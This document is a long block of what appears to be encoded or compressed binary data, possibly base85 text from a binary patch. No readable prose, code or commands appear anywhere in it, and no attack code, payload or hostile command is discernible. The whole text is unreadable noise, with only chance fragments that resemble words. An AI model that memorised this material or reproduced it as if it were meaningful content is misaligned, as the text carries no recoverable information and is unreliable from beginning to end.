zkfxH15Tu?Y3j}E_$qqqUNOD1tMv}Y~q`4%H-nN>XNs>|fNe&7UAjxe(8cOm>kouBj@Ud0sCrL>`s!LK=kQ$Oi2~ty%@q*NnWV0YuCAlC- zHA!9yVtn4lQqES-T&c+<$W=*73UWh|YJyymq?I5~CFvr_2}wo>a!Qhgf;^LCrywsR zxg^LLNnQ$aUXrBcZN0cHNp3;zN#Z8ROG)Yp@~0%Bf;^O@k06gFnJUNwN!AH+QIb=F z+?3>zASWgHF3599GFPzm;;ba41i2tdbwTb((pr#LlEe%0NRrWlJdtFHAg3kSE66!X zt_gBik~f0fmn3CHTg{gxDI&-vNvaF-ha|y*T$7})AlD_CDadh2HVJY|k~4xB+w%*B zI99S%XlM#3q@qHaDkMsfY%+b2ATuQyueeqz6)SXGy*Z zGEI^URWw>$Bq=0F8A&_^nJP&gL54`uMvyU*L<%xilHP(0mSnUbMr{nr6qYKNC`=jRI~M>q$D{687YagAgv^+B*-{P8VE96l8%B@lw_bFp^{7r~b zf>` zBr612CCNTPR!eeOkhPM$5M+fUKLuGYN#+{1el3=ys30pP@eyR7B>sXNl%#_odnM^B z$N@>F2@)pBIzc)}a!inplH3zyn*=A|&w=q^l%;g6x;1gCK__86e0W zNoEL=D9Hvvx=V6Wki3#S5hPlYZ-R7_Bu8CaFM3E)R***?Unn@ z_0V29)2yMrauFlguhop;+S$Sgt{wcHEjflB*o$LkLVM*~GoigQ(!4G_v0n#(g1VxvXx`&ctkH;tjnRmEA;Ky@23n#IZu#wu)y3V;OPr@z(r6XY|4a zG@WyqUAS#H<}niwSnu=mnu#Y6{5+_UUokC(RFOsueywJ(KDE-S9(N=41Y6V~uiGja6+l33iNfh>3JEmUdF z^3X1ui4~{FawSbJs|T!|FN}CWFSf#`UX1Z^@p02qz`H)OWh<_)_hyaN3vx=pCsCx! z>J8)5o)Z}PX`H~w<0o27E*N=7_`HaTK!p`JfxgFc0{vRa3DonzOkjMhnm6l(4^)^J zKIdU%;e^n)DsnUIH$igWvEoTvDSUOR&+`zaZG(9p3GH97Cu`b0GjVl+mcMfX{lagdOP4F| zacen&n)fndb+>Az&FQYLplO=S+>R^6XN8&HXc_x;ffLxlVp%&@IGbp}2=2>&!>n$! z;|c4_l9~}1j9i>xzZkJvy|mVxz}d~{Qnq$%=d@n1E|xP5&f)twfqKqz0`*jcdF9h`F1p5v2^}!lZ$A%H%T>Jbk~z3ABty z5W|H>y>FaAg$F=j(m>V=P9SSy0kZ~=GK)EZZLAg?cZ_ymhtpbe0_je0Br<6ry*4M1 zo*s@nQiF$F&B_R#736@UjG@7izXZn%NnAaloj=SjSF5L+cGj$+*H)XL^$7S!^N*W5 zgyCPtfT6Y#I-frTkGkmuj%V;IyYR1vPVfLruk0dqVub4aWM z?YF?MsRE&W85`E{8X6L+2et$FWg#vTa^PQrb-DRogx@ zadm+brvQluExD|o@Vd5eI9vk)LKRx^d}AWa#z<@$JT*@WGp&h0)vY*ziq@Nn8_w!! zVD6PJH(aODoIuY`nu*mDCg@OeJ#KiIxeD{M(GCvuADqDc{)Q8%@E0dAu7%+2-P8`G zwCaROOW%>;VktsOS^0%m!b$5NWIK;xxV?`$J9@@{y&CBm$6 z!z)6AIDv*1Z~`O0j}z#{9Y%0p{>}&tp=O2Sm+U*#h-Nm%ez+mA!Dom%ar#ftssv0yT$n z0yPie1S(u=CQy&NHk#K1ACr~r~?t^T{4bS;2F@op(wK##A@tj1u@CAo9#7v+b zSM4^d2S2~M$gFY03mk_zftsIi0yQUtV~Wgj!&jQcIDwjLn~4XGPq>*tJuccuRu9g- zc(gKFhL=Rza!#P;6P!TJe{cddr_R9I!ErVdPaL26W@7b(s}N}-Y%bgJ3(vJ8%o=x` z=SOn_HLu|WYCg*eguUSeYR-_+R3TkQay1jE$6G7R>w$6hH*4IXWUU1wc;*nqi7UKb z<^*bv=LBl*Z6;ngJ{!yg>haPluzK)p@SIuWj;9W9If0rpW-|5E9bc7L8NtiVjX80J zS=3B$C(x#t3Do1MHDUGO3D739#vLy%@8$$*KEesqe3lca`5Gq>f8R{#qu*IGoB9Ry zcxaKV9y}>=Gi%)4V4Rz90yTH#1Ztkj3Dmre6R7#Rnc#_x_SHxoW3bzwpBGDznBNUuhoV1X{ku ziI43SqMVIAa6Zfeul`H~D)cZDSKPbnn+eq8qCGa(^j;YPN3#loIuT+ zIDwika{}pqF@k5*+2Hl5Q8UgqBRGNd7mVO*&-C!3$#CH-&CKv>)I=cb79;oyaU;AM zH8l8gYlM@T;91B8Yj@QM^UDM5$nhaj99FhK$f?b zC(`DkW1K5qtE^MP)DCE1o;Pc7gVH*gHMr|&Lpg!%c`+w2Vh1^an(uQ0>B&o)(p~Yq z*V#;<9+>BOJ-CgTHFzqaMQ{S`jNk-nUd9R3e1sFI`4J~jp{10mLQi~^6lEr^xWCUf z6Q~)E1*~R#QMAjf@x<%ThdF_MonZvG!>gP?`aMpdU(d}1(qZOj>A1fSfxgKt(-W_B zjpPK<@$Vi zPZ+`pjNt@MU^LE}i52&+M~ryDN&jMVmem8!L1N9s8_zdF>X_5fom@(FovxgF%7t;G%*vLXOr(kLu(L-mv));9gn%wo15D4!M*7NCr}~&NoqM7KKL%xI7V;{=4)xz;2NyW z35-S?PGDOt-OB8;g60D!FwPHJn>Bb%W=0z`!8PdBmJ!gjf{S`a&3FVE#|eyTxJ>D(=#^AEMsQTaIDuLsIe}L3cX?#GJ6>a4EC~c^{;=LR6gFu*@ExCGaGoh$9{9Qm ze}ltBU`xPrHiO_Lm_##y@p03NoBL(OSu|N`lgogCs0o!Blz~o1WuqAugnBK0qCmX z?-3Yd2t%kXPh$IopKVLPH535GHyEKwOyKwFY|0IF>Y@Z2~1bPlLE&P)N zDu%zL2>ZJvcp%coGJ;|FE{vhUhF+Qp4xyG+)NGr_uow7gOv7b`mywaMZNSSb+ZK)= z8q%hL1_`<7vwTg`mswZ`OD~(bE~R!ey+}+y(LPnZ^S; z_LUPHp$z7h@pVCAPN4I(Ie~ioIf1MK8O`nB@nQiZR(QW4DV+1m@o~ksW*@Vf@oMv# zOspMf*&#C{(2GW#Krgy5g45r4PM{YxvzXh#v!>pR;HN&^vzj$lxKvS`)r_A5Nn{#) zmpoZEvkPCj3@{TbzV^Jz3G{Suc9YABXH6w@FyaQ=7$dmHeTI2eZc+4Eqr}`M0;B4t z)i&1*=h(14!{OC%;aYA0*9uGoHs}RrLZ6v*2Z5o%*Z6}N!Ev6)3AFPkComdA;0l9m z#|__3o&a;NBv7+e>twE(j#e3pn>21XKSyx_Tf!htpu(AqU{B|90%M53Atlq@@H}dT znZPIR;2kKjW!m;!E1ZmWmIU@1t*swiZ-L{5sU28fNzKFu&qcq$`hxD;<^1xTnZ5q}kXvEpx#*H)jObU?3+@b2m<)=B1p#_*~@#dXWs~ zd80ynMeoT8R5+Fqd^J%5W^BWSXK{x)fpPAd!K}e;K7U3=pq_nZ;)DC(bT%4zZga`3 zp`%`&Oy+j*^N>3k!L#nNSM`a7{5u)8mYowrgA#(k2Fq*s z=U@RbE!VbtE-0wMiym5fKu>WYjpiI{xZVJ@xnQEvvY)=T#&C@gF4Ab`theNXRX~gX z&x!C;(R$W&;UW#odPgp-5VIET*uBnh?Gi51u&npwf-ckI+Hbg56Pa~KxJbjYK9Eb# z8rD5N*l_(4F4C~9kL1b#w=fZFg(JTwuOhRY>H~s>G%V{cpvD-Ef8&?Ja8(yB(y**g zm{@3u#!^-#{HK=JnNBW)&7L(y*)_3NW-!$+23^+dQx!?GNdEW?%DA39C_#y#CUZzLs`d7E!0vx*BBX;>CsmofG)+~y5e9pNGk z%fj!e@-g(6S>eJ(8kUuuW#P7AxW)<>X;@YYC99>(+9+J4VOc3z*1d0!0u9#{;UW#o zN<}X77}l0qpM{GwEGsq3!Z9>l#R6>Wi!>}NjgnPIW;GKo(y%OiUCq~*;TkGjq+wa< z$ffVggVuN^uPd{*2p4HsR(h6IWaO59hUGF*#= zi!>}No08=xvyKQCX;@ZvCChL<6E4!QtQ<;Kb(xi-k!|Ej!?JQJS%%9+xJbjYaw%Cg zWL9(GA`Q#J?|kz0Ww-_k7im})et(;98#QItYT+Uc%gU={8Ln%>MH-fsPsyq!vn-8m zV@Mj7g`ZUB{W4r-go`vR%Sp+qDzjP$7im~l0VT_D^${-8u&jbgRyCQmK)6W5vI;3# zhU<`Uk%ndA_jnyFc-{+lw82|beVQw?9t#&~SXL31_58(}hlcBiaFK>(6(twWhqx>o z;Q!|-nU%GPjgp3C6=PYyiuCk1T%N*38kSXD$$BBPnh6(aSXK!o%W!oUF4C~9l1kQj znKezgNW-#9v8>Gn1|2b6+l7lXEDJwXZ`;50F}x?Ut_v4wSQdUa+t}vMEi&H~T+Q)XpvYFl5VVOeEa*5(;V*9RtcNnIg>aFEWx28}+%^nX z58)yW%d#q2k7d>j;UW#oa#OMl*G}Og4a;&@vL47ReAgNm(y%NKCChMq7cSDUEd0Jb zAH$0>D|a(n7HL?P7t5+!Y2IwZRav-5!?L`UtP3(LShz^TvV2(9nr5vc4A&sxA`Qzb zr(`{nS&M{=G%Tw;%ffBLa2*yd(y*)wO4bvZ^;oz_!?G$WS%%B8xozZ0!?G$VS*K-I z5#b^Y%c`to8LpbbMH-gnORg-oQnX>!LO!08SsjFnG%TwM%euRF#-E03m~fGXWmQ$O z?#irX!bKXERgGmmtoUNO;W{Q(`N@7kl-6|H zg@c#m7$$9r3_ewc8kSX`Wlip%tc&3)C0wLoSq;dgzph-g{Km&@GOM9*k%ndYv#fiA ze|W{nmu(y*+CEbBzkrNa!@0^uSJ%WA~3Joj~bl~rbK5iZiO zti~*B{^x8{4A&LmA`Q!GLN1&)aNC%AaL!+b>!WayhGjKnSzC5y&0)B*w!(D`>mD^M zs~NfU?a(i8mC}aGQ@BXOvYNB33K@sjGhEGui!>~&g>+#pMb5M=vO|txqHvLhWwn$p z91Wj=o9`H|>B2=CmeoqS^sJpSYnyP9hGn&uF3d`IB-1j(bzZng!?N0t%RJ8?lUdJ& zi!>~&Ez8Q&=0%v{O41suw!M?b*H=541$VTo+m=U+kXgBfi!>}NkY$bDv?R)Kc?%b5 zSijm!7uGVjzolR$nbkzNNW-#%qzlI|`^Hl#4OcJWA`Qz5CKrw&+@XF|kXZ|ai!>}N zgk?>6J$%05+9zD3VOgQ%(&s3=wmea0-4-s=u&gkaRpjG}TZZeqaFK>(bzoV8LelM? zB(rkj+b^(?hGlhRS$jv_%5Au62p4HsRwr`hur;dT`zhmPR;+N5hGm7btla}rPcmF% zg^M&St24RGbMF9|wMw{1!?Ge+R*eHM%NVXB!bKXE6{%#+ky&?zi!>}Nie**#R%epo z`Yc?eVOi1SGVjYnWmfvOwxJ~r%Zg!HnVvoCV7Q747im~ltdiv+vwVe%G%TwN%bM`( zZXd(dR=7yRvf`Ai=`yQ_aFK>(#Vc8cYpQUOhGiv?OWzLhd?Q?DZ4@rju&k~u3(wgM z*CpX14a@4LWOb5RAB2lEEUUYcWw^4mv#n*)u&hLKnYZ~FGRs}KNW-#vu&l!CFNGVf zM#4oJmerG7=IyYo%!&~%(y**vENkDn1uG2K2;m|P%j&K4YnaShC|smrS$$a6-UVe7 z4c8&zA`Q#xt7J`+S&xK^G%Twh%W`Y>cA4R_1lraYX;@Z&a_QS4&WA2CE1z(YhGh+4 zSv}LZ1{*FP;UW#o8mMHIky(v}i!>~25X-8yrI^KVMGF^cSk_>ch5Of3nKfLvNW-#* zu&f;`%eOFGi-e0bENdvs!Z92ov-SuVX;{`UmgV$URJ`H3E?lHxS;JWt_G^sHdM{k0 zVOb+s*7D|a4;ijh?QPozX;{`sC2OqADj-~>VOgV;EW_m^T%=)Hqm`_|GAls1NW-$m zu&fuu3b`4sPQpbRmNk}K=6U0Y%<3mxq+wa(Sk~xg^;a6Mxxz&nmNlMb)jo7)h?mUT zEnK8wSrb?mzSc8bcZ7>HENi07!n4X>L*~FoWdck2P(vR^}li!>~2 z8q2D&@AC-5wM@83!?LE63+F?)qczIEJDI19&5NN2p4Hs)(?Tdb*cHB zT!w41aFK>(EtXl>1AI@aoE*db!bKXEwS;Bib!@|RQ@BXOvX&}YJ~HcraFK>(En`_; znH%geT&du@O;k5(Sk`iK>E|2!avdsDRAxB|7in153YPWm~2wUSj#W=$0?(y**GN|xc;EL@~vS!(ty8iL z*Bjv?4a-`uWEGNGX~Jx4nKUeGgOX*qN(mQfSk^`*tFX+fBV43mS(}tB!_`T+NW-!= zD_KQk)==Rh4a?f1WErj{!bKXEwN=R~Ewc^@7in15HYLk&-4`y>u&nJ$RtcH)w{Ve$ zW$jS13|FoWwzW(embFvKDk-zPgo`vRYnPH`xS9$VX;{{7a_O%tAI7^ZXeG1ago`vR zYY)q6p5{w&!!=U4NW-%Bl1o27ToJVD?KqjWK)6W5vi7koe1F++?GP@~u&n*$(yy~! z@HvuxxXd~)T%=)H2Uyl>@5?(4*E``N4a+)6F8zFC`o`vG3|GdEwzW(emUW0_HS4ys zpW$*7F4C~9!{pMBmA)4TIT)^{!bKXEb%bS=OxK~B;p#42q+wY{$)&Ha(dlbGt0>2C zhH#OFWgTN#)xVD^Z@6{~7in15aoH~%uh~^sB)H0~yTU~pmUV(<-CLV_y5UOF$u{z& zVOb|-zZ^hvGpN)A!&OAMNW-#Dv8?nf%Iz>*b%l#GEbBDOT2pl61H%;~T%=)HXIR$j z@PSti*JR-$4a+)9E`8g0R4qy~Tswq|G%V{J%ksRe6*gRVg^M&S>paVHtKO!7;c^JK zjXY^s)&-WevhS*3!&O|kNW-!&l1twX@x5%T+&1b97in15C6?vZJLzG=6(?MzVOf`D zzpxK@ez-wqO%*QEu&gUA>*%tx6Ajlk;UW#ox=JqnHPMi`g5ws*tZTwW8kTj9WjXe{ zp2l!}5H8ZNtm{hFGMSaGvu%BmhGpGQvJ6*A;UW#ox~XK%msvH0i!?0jmXc+-LWPSo zEbBJ8aGQra^nHhgGHal4k%nd6VOc)QefJu!xxz&nmUUOjS|qb}2p4Hs);%T5a9tHH z(y*-i!?GSJS%#~& zaFK>(Jyx>T$gEJ|A`Q!W!m?5yzM9@}4HPcYu&k#_)+(7bPq;|KvYshfhHH;-k%nbG zCs!V^9d12wEo`;Sx+z?wVOcL&R>{;{ zF4C~9S4!3jndK*3q+wZqDp`grT)0TXvR*4$>t)su;UW#odZT0+u7$!y8kY5zT>5!0 z&hz_Z)?VQv4a<7RvhZ`ThU>O)k%ncxmo8j4_}PQ4GV7~wk%nb`kS;t+!S~G#SFR}A zS|$z4`Y2s`RzI0lPPjK zi!?0ji*#Yu`OVj7_m^4cg^M&S>#KBOmRGH%Jq_0v;UW#o`bIAOS_;1J&`xIMkH&oX zm2=dvtnVyq!hnM}3|Cd*A`Q#>n_M_=;8JJfkrjb5D^$2h!?J#`tXnU)3^ZIrgo`vR z>nFLKAP4Sf&OTQxxndNW-#HvaFI_51chzNn>p*gfuJ*|5lcRML)N}^Z6i| zRZO@@!?N)2-Wi{1Z+m@rBg54|xJbjY(vVBvzXD?S#BPyU3BpAhmX(%ewL9JVwc#2s zT%=)H>Bv(rDs{uDd%1>T&IPLG%PCv>sRyD{a0?5S+9hP zG%PD4%L-q&daL0|*~PZLNW-!+v3?!dJ1@&dnN>u%NW-!+v#jOk{T>;vD#Aq?mX(EE z`o4^xSt=m2+6WhESQh?%jj?TPXxI9L;p!_~q+wb37up;w`ubW|+5M%H%$g@$q+wb3 z*A|Vex`WGhGhBOxi!>}N2kTebBtP!@%B(( z<&!S#L(?wdJ9f*guEIqcmX%++@R%~NO|=zN-jS&N@gt;F4C~9 z0xWC9={`Y*>!5IvhGpU31+>kFSmB$@Umh5)JHka8mQ{#l-RRUmo8kHd~R!bKXERg7iD+&@^@ zaK#E2X;@Zq*)Qw?p3hg7S!0EZG%TwG%j!HYS8>C&Nw`SEvPzOm-!}00HArS%6E4!Q ztWqp%{DgqjhU<-Rk%ncJCYL@R;%_WO$gE@u*jM-kLDaCUGAyh5g&r*oS0Ujd4a>s6 zM(JQNXLXfXm4%BmEDQg#tT9L7^fq+wa! zGKA@{z{bVYrk-jhGms!S-Y=1 zYGSzV3m0ivRs|)iyUh9}T%=)H6~&3d_pdtrGlEFh}s?vO>5> z!?LQftZ;{7yA9VF;UW#os>ZT()sZe-%g(t*Z8Kckg^M&St1jyo9#bM^)>Yvm4a=&>vIchBcG7Tt6fV-REI*co z-*-rmSs4>;>x(ojt3J!Z>uiRrtZ97in0QKg)Wzxqn&1 z6)#+*VOas>%3~&5xLCUVZ6+`EL@~v zS&dm%feqOY7_QI4MH-gXMD`2EaL&(!`gvql&K|bzl7?k9Wm)Mad~0vGDhU^9SXMJ~ zIYFbi^^WiV<*DHc7B14TtmZ5$GSY9b;TkSnq+wYt$fX~@9`;&u!*Hz?F4C~9mMqKh zR_rdrby>Jb!?Iejer>Ov_`+~~6E4!Qtkx_mV8l~b!{yY|Hu9ulS#4w%uCLPPlN8A* z*H=y9A`Q!G%d#A@Jlk!!ItdqPSXMi7<*=1P-|?9uvqlIPX;@Yu%bKvtbEn~2E?lHx zS?yUCUT1TcSx1G7G%PEKWw{l9KU$V zy=;R-8kQBxvf}1H7!xeBoP~=tEGvv<;e2Sg8VVO_SXKve>F1(%ZxR7z3;rb+8q+wZcD8&$7zpY8zp=N(&ch zSXKhL^f?OWjaf3Qu5gitWp!m)8_PM4H(XJ|MH-gXja*JpJ&s}f33Eo}lUd`0i!>~& zJIe~3kZH5w+8|t{VOfdf!hIRD-p$H-IKRxgC|smrSv^=*g=^E{&mrmO^B;tZG%Twp zx%Af#U3~kFG+decLOd*_VOhOcR=?2h&kdJ{aFK>(^(L3T&7ZG$F16umE?lHxS$$Ym z>vYow8Ll3}MH-gXm-Q>QluH4_HA}ci!?OCZtWsXH>lm&*!bKXE)&C#*bx*iR!?Fgj ztbJ9^E-|t!{cIyo8kRLsW}zZgi&<~l$hBNZxJbjY2C*!>_GP#l2^VQt)?jiuK@QG` zXTGe>YPk9f7in155SI0Ao%<`pwO+VL!?K35tUl|VPa3ZK!bKXEHH>BX=WA5iaAoKZ zMZ-cGy64+p)ATcIFv8Luh`!j!5JsGhpPr>($#<|MgtWr$0gUTUzZKn-u?tN)Nt1*=BiV>*lojg zNw`qMU89+6z|Kr(4cBwwLJfC~VXi0DQXDf}KZFZ4+%=Y5>1`d*2DpxCVYo64uwm42 z*En*e6RzjWR+?Py!i5^{8c(kNu)c6f>@fl-Ik7YqF47Q-1cK|;AOnE(2Vz^ND4Gid zk2Z#8GZ0@!P6?MyW8M-bP(AvLTyj^mX~Y}`LL;!ChWBD3xsutQ)?CBGryC=dOSn+O zU6aV=FI?L6CeU|4v{;1;HQY6sT+M{8+v+Ue3|EwJp@zGrkSn)v4P15VxZzqZT&Ur$ zspKjmT(t@LjSSf+u%!Ll6>pKNgfN9D?a z)qDe8taa+tX;80zwJN@GF1`}hty;HM-3GO)`o_5$(664KUw!|2)qLZu2CP@TUX_3V z|LVSRZU*$P?_af6-D)*_}5&dY!`s?@AetyZ-iWj{Na*HYvsSf$s`a2pu11&K0_xYU zTfd4wcFE|ITZ7s)Yt*e?4f^D2bjq#1e~o~8)oMYfT#a72)u~#=zj}>&&?{F{x2o2w z8&JDegSx)4A--B*U}Q{4P-I|yLTGqQU~F7?bV7%~nAn8ynCN(T(uPA~qM~A=1G{yw zJ+Fntb`1;)j)_YM3<`=1=>+R8C@v~6q-$JUSad>QSfs=q!$5*h#RkTObqtU05F?-J z5*F1JvO5Mw1;s~b9mApnAv!EBDl9ZSC?PB`BqlUWYJdN1Y={)Zg~cbt#Dzh*=uL=$ z9vDwz0SR$I(eaV^WO#HqFFP&@qrem2LAI9=(lM}OWK1v&OjKA@V02jbz;HJ!dpaR3 zD%SP{mi_-w_a@*~RoDCQ2?-DexlvH#RDy&G4hRWB5NvKBfqNkVM4ZtOGLY0vB)Nc7 zMH9sI5~X#hT3g3fty*pCtgTEkI4jniXL1^D1jsp$6M(mnTr^u9^DU#@5=l%0xA*y1JIlXW6{!#tTFz zaQcePZeP{0bmHWIflzK$O-*HcZO3vyTJWnn5^Zc*zx~A0%65&crX{ho5#2>2Zm(%r z;Ww8E;k7MQ`jS&D#5BdP+}@s88p;e-Ks)rqxv;S+%rF!J{6tt3iLfZh4Em#fI5#W` z+6aqcc~}(7!=fNF=#Tp0+^{HUBP@#c`miwC>%-y@+@MQgLc#R!w!vw#=~N1$58b5?L-KVxDbCjZpcW)>{QoS zwXEImt#(y)t(f-YJj8_VODHMC%7%{m%J%b{YuZ|x0(oa;U4vh9WnBQ(irK1uMQW0= zvj^GjO#yawYkOPe%C?4JmJ^b;+Nv7A&lM*$RW?D(R|vsw3zWX9y1KT#y;3H4Ia~WR zk$>%Z+%MrQ-L%JT zRdM$9*`=mVhQ&`Mb?aK&tAn))A(gd4^!Y$3Xc7EC{N!VpgyO*u#Wy7yL-F8;;xU

(HThz8N;`_Z`EB|FUbuh~K^)Ir8crhvQ1&s8MT+#Y-;M(^J!_@FQ%t|btxlb%jL|> zMOVjMyvA#CyDFM2Im zvPrje=_dipmVFeweEA1K@4U0F!-^GOw_CaL%Py-{ZR_;zyWjY}_uk$X@4x?To7Jm# zwpz1h*RZu~{~Gea2TvXA);%Bb;fMe9`{<)5eb%pkH0a}x?+^IolLyfoHvDY;^wZ0+ zpMCbL{qxVS88>dcYxv@e+mV|#-7s(7eDn1$zdSN|%a+m^Uww6K+Sgwn&)&NA;P`FZ z_D%feo1)z9+l$BT*l{Xl=gzW>UAw+d+r9ft;a_;Ksp6DOi}mz9m%SzbPN@5z&C-<>*@{`Kk8W43(%ebV+bXX3a0@I%7qXU}GT zdhT52=JV%szqoK=!iN_x&iLTRAE$nD>C)u&Km9c2!sW|7&Rw|@^3&C;y?*@p=iaA& z`6amg*IxsFxOOez``>=+dgS_b-$OTUXiwa{+3MJ>TdhlO-|kZM`|lkO-nr9m|J}Ro z|GIb2>)HMLo-ZCesQ&!n!x|4CJ*s^Fk3T$~JbtYHx1K(&edF0PpSyqlS@-w9 z{;K!$-+wp1^89&|-~Rch;jb@V;A{?6jVjf>n$&7kuU6ywO+)+wJ9g_7+QzS2=kD#p zd;>BqV+T(+B=<`lniZ4KZ-&{DIy@&LxzCLL(<2gwPK-{uyr}HUJ1c+O{rBv{A3ty& z{Nn7^U*0?O-Hmtlef-ZGhc`c*wdm}Q>#NJR{k-t-x_@SuZ2n`z-wXGB{Ku>lTkkAC zx$C!g&t2%T`}Oa;ev^5y-3Muhv>QkN-2AOUzt@{R{6+O;hWj2XqCU?)<-2~$rMBDS z4+ZTUyRY|>LBDywKk}x>Tju8tXW8!6>hbxwBSGs%7q;0s{>OG-PCcV}%kf+Fd3|p; zf8Tt+=2FX_(LZaJm~YltG3b87xkH}Tc{BT9@ZM?1yKl|-zSF1i7q#oYn2`4P!x^KV zZ%LYXd2ia3Tg&COM9P3pTs$ye>N<)IRCZRkIacrDO)mi%(>MQdu{r@neLOb zbz6LU!n4b^Vok+2u5|UvyB*qa#b18)-+tU>g8fXvB-4d?uQ`ssn>4U!QB2C!5A>t% ze%AN(r`v~T{qb$3ihI8ItoHS#M)f}`snhJ!(%voJc;?@B{)3jfMRz-PfB%=|KUV6s z;I^Fy}x`?WSj4Yp%T)*66ESZ7Y9!wN zwK?pIy&rY@X2VY3z3acKGIL&D<$ULYx{Kdi*7)7GSAQ_IYUJkJ%C_&)efoSors>d? zgL{vAr;l#b+$g_kPGh?X<$(#!f9jP{=UD4WRZ6<#R=D9aQ1@HIVIhB1u(kTj%g}k% z5Ah3^UP_%mZ~yD7795@M_PU1y)^7ZB@aKE3#D4ST_3-a*uBmeRm*pNmJuawS{B%yU zLnn9ldV29I|A)svZF8q^ZTnxRL~iMs6Z38G=mDR%A3OZx7U79=eQd8SXgqTKno4n# z7FVz8eJ;tP(&>zPO-r&G)Hy!6Ylq)0JzHKjb`E_qQtSWcfZMCKtFJEERrTJ2FY5m@ zYi*O$d-6J+-~MLn(v2&799X~9|Gkqx4Ox8QWZ#*E`(xicRBHO@@vYp?UR;~L0sQpe$ zebd!lq9bo4wX|MNX*cYz>45_tWQWZ-7FT2Zz7Z7@e~N05b|$j+4*?esp9?83I^uia z;{NtWez;rr`n4-fe*OJn{xoyv%H88O&Doal;ah7)%-r*K|AK9K zv8y%|M7;AMw*PeaQuxY{H ze%NP1ukZRiyL{uuSAl&FnAVj>M!s#-Sa1I}K+`-n`ls_hjdu3mQKw0}-LVVLOr5bX zXUp7q=Px}kAM)Xm&V#<#9B5iLGT^)2f7>qyKfMvVv}Z@$rN{g6sEl4ds@zjssPpI`T1w&|w2=Be)tzqXz6#*X+OH_z0LoYkgU!opKS z0@7DJ{CQ5#eTRMwsK2b>LGb(e!v{J)zaDYY`-g|4mp;&>Eb`Lq`%tyIbKU3Bfq^-n zueh-F;{6XJAybI^_a;|AVoh+L!pWBS{Gw6g^GikWWgd88WPa%sVsNakQR8z7qWi@+ zgDVaig&1UO)Hr6Z0KQwXf3A{ZDiI7jN^g86G+T^I-u>^BoJQ)?A4>e>feN4pM<;4Rvq}IY0m7S)GU_=usnd#q*97@K# zrxDM}qAY?DP1?k_(#$sS2+4PjtLwqpT25I6BeI3l5BSNbpN9I>;#uEP7Qu*YVL!>+ zns9Vrt%{tjE0jerB3n2ufwxt1w%%%<<;4^>*<(k190C47!fefs<*nV;Ih1DwQWn98 zY~jz^ye;(y8Pj-{gR%%ll&(62#l#%u!E`mW;aP7`7Qu*Y)fL(L>(10&JZl?e5sb)I zJ;K6zh3@`?T9K8wJiJU<1S7IlAFzD7@{dl7=UJ67gTN7t$QIts7#4;fZ+|haGH0s; zWf6?X7BiKat%oHaSMAQT`cW30N-dcAfCFp(ID+G6ukYp$OqfDh1S7J=Or>UR^$+h` zi)XE)EIO51V2hbbjU|GvM#+FuPcB`DD2q;|7R=!w)1=7~6@>I!aur4Z*iWE)Kv@JM z%0s+|Fl`xe=hMD`Q@vQ0%T#KCt>%Qqrt4bAy=I=p9;Zw&B3oL*!V*FE#=-jWUYxBo z+KFo+1X_x~RtuDH>H4B=#0j4D4rLLH%3$v2$WF+Z1O(!k>Q>0!9ze!O4of88izLG3 zLM?%%QEQ<>Bjol6)$S72t!6JF{$4k0{L@#kX9h9@ghlQ!8{9J z2!~on`yK)&mpouFvk@GL%-n={*f5scI4waMm?qq@Q%ubs3!7x?VB(%zJ|cu0oJ#rG zxdAU@cMan=hgpqJKBKujGZBC72lM~0O9FFW{*i1GhXR;#^1&+jw zjBzQ++`gXTRJmj*o!a_x44oP(0f{o-ohC6zR+U^y$*PkDGLvGv`iY|_3nk6ZPZ5;S zs#C625!7w+h1JMy(nTP*s>F5HtuhywJ9REq+?_gC*vr%jTg1!siEuAbC~iS7(dYtv zsY+p!d#Oqx5PRwr(p8f_du+<+oNUs4r(`q!FbpJyEJZBJJJf<|}u^ zL7ULY%vZh#;lo^TdYOG5o50;F8V0LlaL@)0f7y_mmpcyRY8-3{oE&Z{gr_RN;b`wV z;QpalOs<^1Fpzt~;2@F?5ZvMLX4wZY17Cp)0^BITEPDkGhem5C2E4?{#Sb5~)&cG; z#Uf7*Hw@&D0n-Nuk>KziFNa$I@?^mLPH{Mxki+c+d0iM<9>?J&ICnUF?t4rz1PB*7 zebYeR76+XICx=7GdWE<`1vq?~xd6D|Db`*2V(=5V)WRVyxR>FY04DeqxF?{)Kruui zT;$T*2jn3zK+eZOGB|g3Ga+mVU^F;%2ImgfAHu2whPA(kt{~d%aFE z;3ZBj9qS>aCJw#@P7a697vCtr^#a^sz*W{V3f-j_aWw%GqX0J;Fv}F+)&S<>D{z?4 z*8tPK1$e-@i(hvLGXZA0D^Bp_g?wz@3n&J^qjNXkdoAELQY`ida_bE+pAQ4(k}FQ| zjDt4tY3gslc;cf1ICuK6t8WdMZmu{Pef9ivXA$s+0_G;g;d^koecW-}KC=y61Ws-rcMk|(F2PCnaYs9=BsjfZ__hsA;qMKf zD!`%LtrDEnF5-45z@go5B{*sPaC~r30S<3NKPkYWK6P8T2%KC#V?Ai75Z6ut4*T&? z1vqSPc7?bh3UHpFFIfQ&A7#=M;PBU<`3i9O{IN^{4j;!pQGmnzD^!5PbexvM3EuMp zL=^%J_KphrAtHu1&@&oEm$)vp0rOu#JR&^q59 zJR4WJJ+nAhmO+ns9dp>0_|)Qr8R>T;3Ie}F0W6-mH3_nvgc^Dr%x;*s+lKw?PJGJV z0Y7`HyiKJR&HY>Toq5^{&^P5-Ab5j1r?O?%0Tl?CwR^S#(udm;=cCo4>mGpcH_t7c zRNIjE)F-=otaIT$v}d1t2&UH1jW`R)dzhWrtciVy8u>KAByQI*x=}e%9N>HltrW~s zsb0Lud#ahBEigRIds<;a1Cui^4x%h&zr$q438H^aVGgW0Wc(5+&et663(BMFGZ4r?Clq zOmZ5vpm`>mF#3US0r9m3AKv7h#*W}yL42?PE^jUI1%ht_@r8izOYrFm^YfZOJPoss z7eQ%R4w9-~2wqeE*O;%cIOa*&!8~jk@Ly%{-Jj3oKP;NL-ZbyBIzJDK31HX^?iprX z3;X+pH;^&ki!N*O^RV=yV4(!buzV-xunj6%oF)Hj%-+1WFdiN^ray;$Pno*U*3hF6 z@IQ8V_Z9|^s}h5iOUMsr;Vi6^1W;mUA3fp0n>JXE3Jn?Zb-_9Xc8P({I&!OZ|)9)xOC zi@}F`)p@8s;zGMXMh=5-8Wm8&33{f--xJFfM>^D3M(T-&~^a7tVJbeAsd| zD%@j>@!bR8JR*ApKFk}9>M8gb?%&|cCo+f*^?7hUPw+9gYMc)@wPs{>z{hBA06s=@ z-cHib=2UmiB9-KNg}lp}66dTqh<)DW=Fn^AnDU<1%L&bU+6dd{+xIqO!z+f>R&Ahj 